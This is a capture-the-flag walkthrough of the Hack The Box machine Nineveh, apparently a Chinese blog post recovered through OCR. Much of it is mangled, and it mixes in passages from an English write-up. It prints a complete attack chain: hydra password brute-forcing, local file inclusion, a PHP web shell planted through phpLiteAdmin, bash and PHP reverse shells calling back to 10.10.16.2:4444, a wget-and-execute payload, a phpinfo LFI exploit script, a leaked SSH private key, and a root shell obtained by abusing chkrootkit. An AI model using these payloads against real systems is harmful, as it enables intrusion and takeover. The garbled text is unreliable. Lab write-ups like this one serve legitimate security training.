HTB#37 &%) linux# L Nineveh#EAHL

A F 2022-01-17 11:19:44 K A5 753 e

SR ER: HIB XEARE: linux python BFENIR %4 ssh

FRAL A B . AN R REAISCE, BE CC 4.0 BY-SA SRAUHMY, ##iEM EE B M ARSI,
A SCEERE: hitpsy/blog.csdnnet/m0_57221101/article/details/122536107
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BhiR
nmap#h i

nmap -sC -sV 10.10.10.43

Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-26 16:22 CST
Nmap scan report for 10.10.10.43

Host is up (0.36s latency).

Not shown: 997 filtered ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

| _http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: Site doesn't have a title (text/html).

443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))

| _http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: 400 Bad Request

| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/coun
| Not valid before: 2017-07-01T15:03:30

| _Not valid after: 2018-07-01T15:03:30

| ssl-date: TLS randomness does not represent time

| tls-alpn:

|_ http/1.1

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 85.66 seconds

RITF 780443, R/54438m 0 EH—MEH, Bk T — M EMNRAL
803w M By &

ER, NX—AEIZITL, RkE T LS Hdirsearch# Fgobuster


https://blog.csdn.net/m0_57221101
https://blog.csdn.net/m0_57221101/category_11583301.html
https://so.csdn.net/so/search/s.do?q=linux&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=python&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%25B8%2597%25E9%2580%258F%25E6%25B5%258B%25E8%25AF%2595&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=ssh&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/m0_57221101/article/details/122536107
https://blog.csdn.net/m0_57221101/category_11583301.html

gobuster dir -u http://10.10.10.43 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.tx

Gobuster v3.1.0
by 0] Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.10.43

[+] Method: GET

[+] Threads: 20

[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404

[+] User Agent: gobuster/3.1.0

[+] Extensions: php

[+] Timeout: 10s

/info.php (Status: 200) [Size: 83695]

/department (Status: 301) [Size: 315] [--> http://10.10.10.43/department/]
BRI T AR E xR
info.phpt & phpinfo 5

/department & — 4> & Fiti 5
443%5 O

H #gobuster{d

gobuster dir -k -u https://10.10.10.43 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-mediu

Gobuster v3.1.0
by 0] Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: https://10.10.10.43

[+] Method: GET

[+] Threads: 20

[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404

[+] User Agent: gobuster/3.1.0

[+] Extensions: php

[+] Timeout: 10s

/db (Status: 301) [Size: 309] [--> https://10.10.10.43/db/]
/server-status (Status: 403) [Size: 300]
/secure_notes (Status: 301) [Size: 319] [--> https://10.10.10.43/secure_notes/]

RIL=ABURE
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root@kali# wfuzz -c -u http://10.10.10.43/ -H "Host: FUZZ.nineveh.htb" -w /usr/share/seclists/Discovery/DNS

3k 3k 3k >k 3k 3k >k >k 3k 3k >k 3k 3k 3k >k 3k 5k >k 3k 3k 3k >k 3k 5k >k >k 3k 5k >k 3k 3k 3k >k 3k 5k >k 3k 3k 3k >k 3k 5k >k >k 3k 5k >k 3k 5k >k >k %k >k %k >k k

* Wfuzz 2.4.5 - The Web Fuzzer &
3k 3k 3k 3k >k >k ok sk 5k sk sk sk >k >k >k ok sk sk 3k sk sk sk sk sk ok sk sk sk sk sk 3k sk >k >k sk sk sk sk sk sk >k >k ok sk sk ok sk sk sk sk >k ok ok ok ok 3k

Target: http://10.10.10.43/
Total requests: 100000

ID Response Lines Word Chars Payload

Total time: 206.0595
Processed Requests: 100000
Filtered Requests: 100000
Requests/sec.: 485.2965

K www LR
B—MHE

8031 1

Log in

invalid username
Username:

root

Password:

Remember me

EERANHPAEE, RIA—AEE, MEREAERHS AMEDRS I, Wt AT I H kil
MM 4

Log in

Invalid Password!
Username:

admin|

Password:

Remember me
KL 4 &admin
IR 2 ik A4 7 3R 32 25 85 ) phpbug



Fburpi &
Hpassword=. . . BHAN
password[]= #4T

AL FE £ RT AR hydraf@ il — T %89, 252 1g2w3edr5t

Hi admin,

(XXX

<

XX AN

BRI T
WM —H A #Inotes K I, A 30 RF BRI B E B &

© /4 10.10.10.43/department/manage.php?notes=files/ninevehNotes.txt vee w n @ ®

ning M Kali Tools % Kali Forums [&] Problem loading page # Kali Docs e\ NetHunter [\ Offensive Security MSFU

TUNDER

® CONSTRUCTION

CTION - UNDER CONSTRUCTION -UNDER CONS

—

¢« Have you Tixed the login page yet! hardcoded username and password is really bad idea!

« check your serect folder to get in! figure it out! this is your challenge

« Improve the db interface.

~amrois



A2 AT LA — P SRR
B AR

files/ninevehNotes.txt
/etc/passwd
/ninevehNotes
NinevehNotse

/ninevehNotes.txt../../etc/passwd

files/ninevehNotes.txt../../../..I..]..]../etc/passwd

E#E
No Note is selected.
warning

No Note is selected.

|

Sl
N
7

|

Sl
>
7

RILT —AN MR, b B B 1% 2 K 5 i /ninevehNotesix /4N 2 Bt i B ¥ A 5t 23 No Note is selected
W7, INEER, MEXES AN XHEESRRE

443%5 1

FFFH bR

phpLiteAdmin v1.9

Password: [

Remember me

Powered by phpLiteAdmin | Page generated in 0.0006 seconds.

& —A-phpliteadminf) & F R, FRE BEIE E
XA AR B 1. O A A — AR TR

e

phpliteadmin

Exploit Title |

.9.6 - Multiple Vulnerabilit

"table' SQL Injection
.1 - Multiple Vulnerabilitie

- |
1 |
1.9.3 - Remote PHP Code Injec | php/w
1 |

Shellcodes: WNo Results

A LA SO B I J5 4148 BUCphp,  FFTER H15 AphpiEf)

HRFBE-R, HEFEMEEN, EANM@R, F2HburpBB RIS, TE—XKAT —A1008/M

FHEHEK. . .
X B AT PAEE A hydrask i o gt

php/webapps/3
php/weba

php/webapps




Il run hydra with the following options:

e -1 0xdf - hydra requires a username, even if it won’t use it
e -P [password file] - a file of passwords to try

* https-post-form-thisis the pluginto use, which takes a string with three parts,

: separated:

e /db/index.php -the pathto POST to

® password="PASS"&remember=yes&login=Log+In&proc_login=true -the POST data,
with ~PAS s~ being the thing that will be replaced with words from the wordlist

® Incorrect password -texton the response that indicates failure to login

It finds the password very quickly:

root@kali# hydra 10.10.10.43 -1 Oxdf -P /usr/share/seclists/Passwords/twitter-banned.txt https-post-fo
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations,

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-11 06:03:28

[DATA] max 16 tasks per 1 server, overall 16 tasks, 397 login tries (1:1/p:397), ~25 tries per task
[DATA] attacking http-post-forms://10.10.10.43:443/db/index.php:password="PASS*&remember=yes&login=Log
[443][http-post-form] host: 10.10.10.43 1login: Oxdf password: passwordl23

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-04-11 06:03:36

from Oxdf

%44 & password123



<« cQ © 0 10.10.10.43 B - w T

o Kali Linux % Kali Training % Kali Tools ¥ Kali Forums [&] Problem loading page = Kali Docs & NetHunter Offensive Security M
- . 111.php
phpLiteAdmin vi.9
Documentation | License | Project Site Structure H sSQL H Export H Import H Vacuum ” Rename Database H Delete Database
—Change Database Database name: 111.php
B Path to database: /var/tmp/111.php
[rw] 111.php Size of database: 2 KB

Database last modified: 1:01am on December 26, 2021
SQLite version: 3.11.0

—111.php SQLite extension [7: PDO

PHP version: 7.0.18-0ubuntu0.16.04.1

[table] 111

T e

—Create New Database [7]——— Table 111 Browse  Structure  SQL  Search  Insert  Export Import Rename Empty Dn
((1total

[ ) (Grea)

— Create new table on database '111.php’

Name: [ Number of Fields: :]

— Create new view on database '111.php’

Name: [ Select Statement [7]:

[ )

HANZFE R —Mestfidf fE, MARMNBFEER AR

BPBR

1.8J8 —ALLh.php A 5 £ i datebase

2.8 —¥itable, fieldsy1st4T

3. F & Mfieldpl  Htypeikttext, default valueld

system($_REQUEST[cmd]);

ERARphpiEF], AT iEwindowsASBENNKE R

X E R AT

FERITIEHIE ARG B iXA S QIRTERE, A2 AT AR A 803 F i S & 5k 5 il



4 vehNotes..[../var/tmp/111.php&cmd=id === W I o

[Nineveh Department] — http je = Kali Docs

10.10.10.68 — hit
Index of /nibbleblogfconte — http:
Elastix — 1

A BE—TF |, #R#EE0E — baidu.com
S7 — h
10.10.10.56 — htt

Apache2 Debian Default - — hitp:
fault '

Notice: WUse of undefined constant cmd - assumed 'cmd' in /wvar
/tmp/111.php on line 2

uid=33(www-data) gid=33(www-data) groups=33(www-data)

")

RKILIAT 2D
M2 HELS H SR Kshell

bash -c 'bash -i >%26 /dev/tcp/10.10.16.2/4444 ©>%261'

RIETTENCE T

root@Mr: ~

= [Nineveh Department] X phpliteAdm sr¢F zhE iRIB &TFE FEE

e X @ 10.10.10.43/de; ®

e T e R phpliteadmin
o Kali Linux % Kali Training % Kali Tools
Exploit Title

"table' SQL Injection
.1 - Multiple Vulnerabilitie

1
1.9.3 - Remote PHP ( i C
1.9.6 - Multiple Vulnerabilit

Shellcodes: No Results

m P
C G444
listening on [
t to [10
: cannot set terminal process group (

bash: no job control in this shell

SQLite forma www-datagnineveh: /var/www/html/department$ I

GG Btablell

Z Fwww-datatl fi

F1.58 05k



fi XA phpLiteAdminjs i st R FE A % S — MR, FwgetT#, id)E, HEMA

A #£ i 7E default value kb 5 154

<?php system("wget 10.10.16.2/shell.txt -0 /tmp/shell.php; php /tmp/shell.php"); ?>

Xk, RIE, FEAHGE —Ashell.txtSo:, R FpythondT FF R %

python3 -m SimpleHTTPServer 80

R JE-0R BT 2 4 AphpXfF, BN IR—IFaamt R phpsc i, XA MIA B & FE A AT

shell.txtgi 5

<?php $sock=fsockopen("10.10.16.2",4444);exec("/bin/sh -i <&3 >&3 2>&3"); ?>

X, BATHAHRF R AT

oM

BINBA B

phpinfo3| % {13 L A%k iR

fEinforf K I

file_uploads On On

Xa—%, MABRAATURA BT SCHRE, I EZA S 2B shell i K
AR ander A% SO

Rl #phpinfo 13 2l — 1 getiE R, RBIEMBBCN— 1 postiF RAERZR LA

POST /info.php HTTP/1.1

Host: 10.10.10.43

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=ehjpe8sp040mad68aen884obr7

Upgrade-Insecure-Requests: 1

Content-Length: 194

Content-Type: multipart/form-data; boundary=------------------~—~-—--~-~-~--- 7db268605ae

————————————————————————————— 7db268605ae
Content-Disposition: form-data; name="dummyname"; filename="test.txt" Content-Type: text/plainSecurity

Test
————————————————————————————— 7db268605ae

X#E, AR DAFEphpinfoft T B A X RAE R, BFE X BN E, BARIE T FEXH EETRRE

BATA] LUk B — N python il 4 3k SEEL & https://www.insomniasec.com/downloads/publications/phpinfolfi.py


https://www.insomniasec.com/downloads/publications/phpinfolfi.py

XA, RBAERAXMHERTT, FEBER
RIEBANIRTEBEA P — KT

1./EMREQ1H Kl POST /phpinfo.phpi ak/info.php

2. 5% payload % Kshell, FHE BN S

3BHUT M geti® R bk A BAT 2 1 IRAF 5977 7E RF IR 1 A 3 bk
BBONIXE

local_ip = "10.10.14.24"

local_port = 443

phpsessid = "ehjpe8sp040mad68aen884obr7"
# RESH

def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r <?php system("bash -c 'bash -i >& /dev/tcp/%s/%d ©>&1"'");?>\r""" % (TAG, local_ip, loca
REQ1_DATA="""---ccmmmm e e e - 7dbfflded0714\r

Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r

Content-Type: text/plain\r

\r

%s

----------------------------- 7dbff1ded@714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /info.php?a="""+padding+""" HTTP/1.1\r

Cookie: PHPSESSID=""" + phpsessid + """; othercookie="""+padding+"""\r

HTTP_ACCEPT: """ + padding + """\r

HTTP_USER_AGENT: """+padding+"""\r

HTTP_ACCEPT_LANGUAGE: """+padding+"""\r

HTTP_PRAGMA: """+padding+"""\r

Content-Type: multipart/form-data; boundary=--------------------c----- 7dbffldedo714\r

Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /department/manage.php?notes=/ninevehNotes/..%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r

Cookie: PHPSESSID=""" + phpsessid + """\r
Host: %s\r

\r

\r

return (REQ1l, TAG, LFIREQ)

B ZE amrols
Hilc&fFAmSE &R, 4438db, 804
I 4E— TR A K443 secure_notes H
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www-data@nineveh:/var/www/ssl/secure_notes$ strings nineveh.png
www-data

MIIEowIBAAKCAQEAri9EUD7bwgbmEsEpIeTr2KGP/wk8YAROZ4mmvHNI3UfsAhpI
H9/Bz1labFbrt16vH6/jd8mOurg/Em7d/FIncpPiIH81IbJ0OpyTBVIAGNK7PhaQXu
PdT9y@xEEH@apbJkuknP4FH5Zrq@nhoDTa2WxXDcSS1ndt/M8r+eTHx1bVznlBG5
FQq1l/wmB65c8bds5tETlacr/150fv1A2j+vIdggxNgm8A34XxZiP/WV7+7mhgvcnI
30qwvxCI+VGhQZhoV9Pdj4+D41023Ub9KyGm40tinCXePsMdY4KOLTR/z+0j4sQT
X+/1/xc161LADcYk@OSw42bOb+yBEyc1TTq1NEQIDAQABAOIBAFVDbvVPgbrobjTn
KiI/FbjUtKWpWFNDpYd+TybsnbdDeqPw8IpKKTIv79fs2KxMRVCA1V/IAVIWV3QAk
FYDm5gTLIfuPDOV5jq/9I1i38Y@DozRG1DoFcmi/mB92f6s/sQYCarjcBOKDUL58z
GRZtIwb1RDgRAXbwxGoGZQDgeHqaHciGFOugKQImupo5hX0kfMg/G+Ic@Ij45uoR
JZecF31x0kx@Ay85DcBkoYRiyn+nNgr/APJBXe9Ibkq4j01j29V5dT/HSoF17ViWo
90diTBWwwzPVve@i/JEGCc65XUDOMXevoQIA9SkZ20IX08J0aQcRz628d0dukGeUtu@RAaK93Zk0g3Zya@CgYBYbPhdP5FiHhX0+7pMHjmRaKLj+1ehLbTMF1B1
MxMtbEymigonBPVn56Ssovv+bMK+GZOMUGU+A2WnqeiuDMjB99s8jpjkztOeLmPh
PNilsNNjfnt/G3RZiql/Uc+6dFrv0/AIdw+goqQduXfcDOiN1lnr705c0/Shigtse
i6U0yQKBgCgvck5Z1iLrY1q05iZ3uVrdpgXHyG8ThrsTffkSVrBKHTmsXgtRhHoc
i16RYzQV/2ULgUBfAwWdZDNtGxbu50IUB938TCaL sHFDK6mSTbvB/DywYYScAWWF7
fw4LVXdQMjNIC3sn3JaqY1zJkE4jX1ZeNQvCx4ZadtdID9iO+EUG

secret/nineveh.pub
0000644

0000041

0000041
00000000620
13126060277

014541

ustar

www-data

www-data

ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQCULORQPtvCpuYSwSkh50vYoY//CTxgBHRniaa8cOndR+wCGkgf38HPVpsVuu3Xq8fr+N3

KT amroisfFhRL, AT AR — Tsshi®#:, HEBRMEZIRE)—/ANHE, BATInmap$a # i 5 & BT
75 K223 O & 3T FF I

knockdi O

AL ZE var/mail/amroisiX AME FE R B T 7 — Bk



$ cat /var/mail/amrois

From root@nineveh.htb Fri Jun 23 14:04:19 2017

Return-Path: <root@nineveh.htb>

X-Original-To: amrois

Delivered-To: amrois@nineveh.htb

Received: by nineveh.htb (Postfix, from userid 1000)
id D289B2E3587; Fri, 23 Jun 2017 14:04:19 -0500 (CDT)

To: amrois@nineveh.htb

From: root@nineveh.htb

Subject: Another Important note!

Message-Id: <20170623190419.D289B2E3587@nineveh.htb>

Date: Fri, 23 Jun 2017 14:04:19 -0500 (CDT)

Amrois! please knock the door next time! 571 290 911

KIL, B RE|—A N Hknock, 75 E A E RL R B 0 4 BE R R B DT R
UL ps auwwE — TBATH#RE, RIRR, 1B17Fknockdix M H

M2 e T E e B Kknock 1 1 4

& knockd it B 3L

www-data@nineveh:/var/www/ssl/secure_notes$ cat /etc/knockd.conf

cat /etc/knockd.conf

[options]

logfile = /var/log/knockd.log
interface = ensl160

[openSSH]

sequence = 571, 290, 911

seq_timeout = 5

start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn

[closeSSH]

sequence = 911,290,571

seq_timeout = 5

start_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn

FIHNO4R571290 911

RIEBMNAF—Ashellmgidim D, AeBEE

root@r)-[~]
L4 knock 10.10.10.43 571 290 911

IR BRATT W] A A nmap kRt o & H

nmap -Pn --host-timeout 201 --max-retries © -p 571,290,911 10.10.10.4



)5 7T LA Htelnetd ik — T =& BT I K

—(root@Mr)-[~]
L# telnet 10.10.10.43 22

Trying 10.10.10.43...

Connected to 10.10.10.43.

Escape character is '~]'.
SSH-2.8-0penSSH_7.2p2 Ubuntu-4ubuntu2.2
quit

Protocol mismatch.

Connection closed by foreign host.

A RBUEH EEITH T

AR FRAVE F sshAFAEHIERE

ER A EREssh

B —AN 3 ar 4 Jvid.rsa, 5 RINIES S 78 B A o B RL SRS I 7E 3L

MIIEowIBAAKCAQEAri9EUD7bwgbmEsEpIeTr2KGP/wk8YAROZ4AmmvHNI3UfsAhpI
H9/BzlabFbrtl6vH6/jd8mOurg/Em7d/FIncpPiIH81IbJ0py TBVIAGNK7PhaQXU
PdT9yO@xEEH@apbJkuknP4FH5Zrg@nhoDTa2WxXDcSS1ndt/M8r+eTHx1bVzn1BG5
FQql/wmB65c8bds5tETlacr/150fv1A2j+vIdggxNgm8A34xZiP/WV7+7mhgvcnI
30qwvxCI+VGhQZhoV9Pdj4+D41023Ub9KyGm40tinCXePsMdY4KOLTR/z+0j4sQT
X+/1/xc161LADcYkOSw42bOb+yBEyc1TTq1NEQIDAQABAOIBAFVDbvVPgbrobjTn
KiI/FbjUtKWpWfNDpYd+TybsnbdDOqPw8IpKKTIv79fs2KxMRVCd1V/IAVWV3QAk
FYDm5gTLIfuPDOV5jq/9I1i38Y@DozRG1DoFcmi/mB92f6s/sQYCarjcBOKDUL58z@RAaK93Zk0g3Zya@CgYBYbPhdP5FiHhX0+7pMHjmRaKLj+1ehLbTMF1B1
MxMtbEymigonBPVn56Ssovv+bMK+GZOMUGuU+A2WngqeiuDMjB99s8jpjkztOeLmPh
PNilsNNjfnt/G3RZigl/Uc+6dFrv0/AIdw+goqQduXfcDOiNlnr705c@/Shig9tse
i6UO0yQKBgCgvck5Z1ilrY1q05iZ3uVr4pgXHyG8ThrsTf{kSVrBKHTmsXgtRhHoc
i16RYzQV/2ULgUBfAwdZDNtGxbu50IUB938TCalL sHFDK6mSTbvB/DywYYScAWwWF7
fwaLVXdQM]jNIC3sn3JaqY1zJkE4jX1ZeNQvCx4ZadtdID9iO+EUG

----- BEGIN RSA PRIVATE KEY-----F 1
----- END RSA PRIVATE KEY-----45 3R

B 5 IE A9 R B AL SO B AR 259600

130 B



chmod 600 id.rsa

SR J5 B shellF f# frsa® s ssh

—(root@Mr)-[~]
L# ssh -i id.rsa amrois@10.10.10.43

Ubuntu 16.04.2 LTS

Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

288 packages can be updated.
207 updates are security updates.

You have mail.
Last login: Mon Jul 3 ©0:19:59 2017 from 192.168.0.14

HEERIh

PR A 75 vk

Knock

This wiki page gives a good example of using nmap to port knock. I'll write it as a one liner:
root@kali# for i in 571 290 911; do
> nmap -Pn --host-timeout 100 --max-retries @ -p $i 10.10.10.43 >/dev/null
> done; ssh -i ~/keys/id_rsa_nineveh_amrois amrois@10.10.10.43

Ubuntu 16.04.2 LTS
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

133 packages can be updated.
66 updates are security updates.

You have mail.
Last login: Wed Apr 22 ©5:34:21 2020 from 10.10.14.24

amrois@nineveh:~$

It loops over the three ports, and for each scans Nineveh with nmap using a short timeout and no retries,
directing the output to /dev/nul1l. Then it connects with SSH.

XA IR BA F Blknockd g4
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https://wiki.archlinux.org/index.php/Port_knocking
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amrois@nineveh:/report$ cat report-21-12-26:06:40.txt
ROOTDIR is /'

Checking “amd'... not found
Checking “basename'... not infected
Checking “biff'... not found
Checking “chfn'... not infected
Checking “chsh'... not infected
Checking “cron'... not infected
Checking “crontab'... not infected
Checking “date'... not infected
Checking “du'... not infected
Checking “dirname'... not infected
Checking “echo'... not infected
Checking “egrep'... not infected
Checking “env'... not infected
Checking “find'... not infected
Checking ~fingerd'... not found
Checking “gpm'... not found
Checking “grep'... not infected
Checking “hdparm'... not infected
Checking “su'... not infected
Checking “ifconfig'... not infected
Checking “inetd'... not tested
Checking "~ inetdconf'... not found
Checking “identd'... not found
Checking “init'... not infected
Checking “killall'... not infected
Checking "~ ldsopreload'... can't exec ./strings-static, not tested
Checking “login'... not infected
Checking “1s'... not infected
Checking “lsof'... not infected
Checking “mail'... not found
Checking “mingetty'... not found
Checking “netstat'... not infected
Checking “named'... not found
Checking “passwd'... not infected
Checking “pidof'... not infected
Checking “pop2'... not found
Checking “pop3'... not found
Checking “ps'... not infected
Checking “pstree'... not infected
Checking “rpcinfo'... not found
Checking “rlogind'... not found
Checking “rshd'... not found
Checking “slogin'... not infected
Checking “sendmail'... not found
Checking “sshd'... not infected
Checking “syslogd'... not tested
Checking “tar'... not infected
Checking “tcpd'... not infected
Checking “tcpdump'... not infected
Checking “top'... not infected
Checking "telnetd'... not found

Checking “timed'... not found
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amrois@nineveh:/tmp$ echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.16.2/4444 0>&1"' > update
amrois@nineveh:/tmp$ chmod +x update

RIEBAVTE W O MW, BieeEEIshell

—(root@Mr)-[~]

L# nc -vlnp 4444

listening on [any] 4444 ...

connect to [108.108.16.2] from (UNKNOWN) [10.10.10.43] 36250

bash: cannot set terminal process group (20694): Inappropriate ioctl for device
bash: no job control in this shell

root@nineveh:~#

D=

Oxdf A $7 Be A i AN B A 32 47 43 4

pspy i — T HHIAF7E A2
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https://github.com/DominicBreuker/pspy
https://v3ded.github.io/ctf/htb-nineveh
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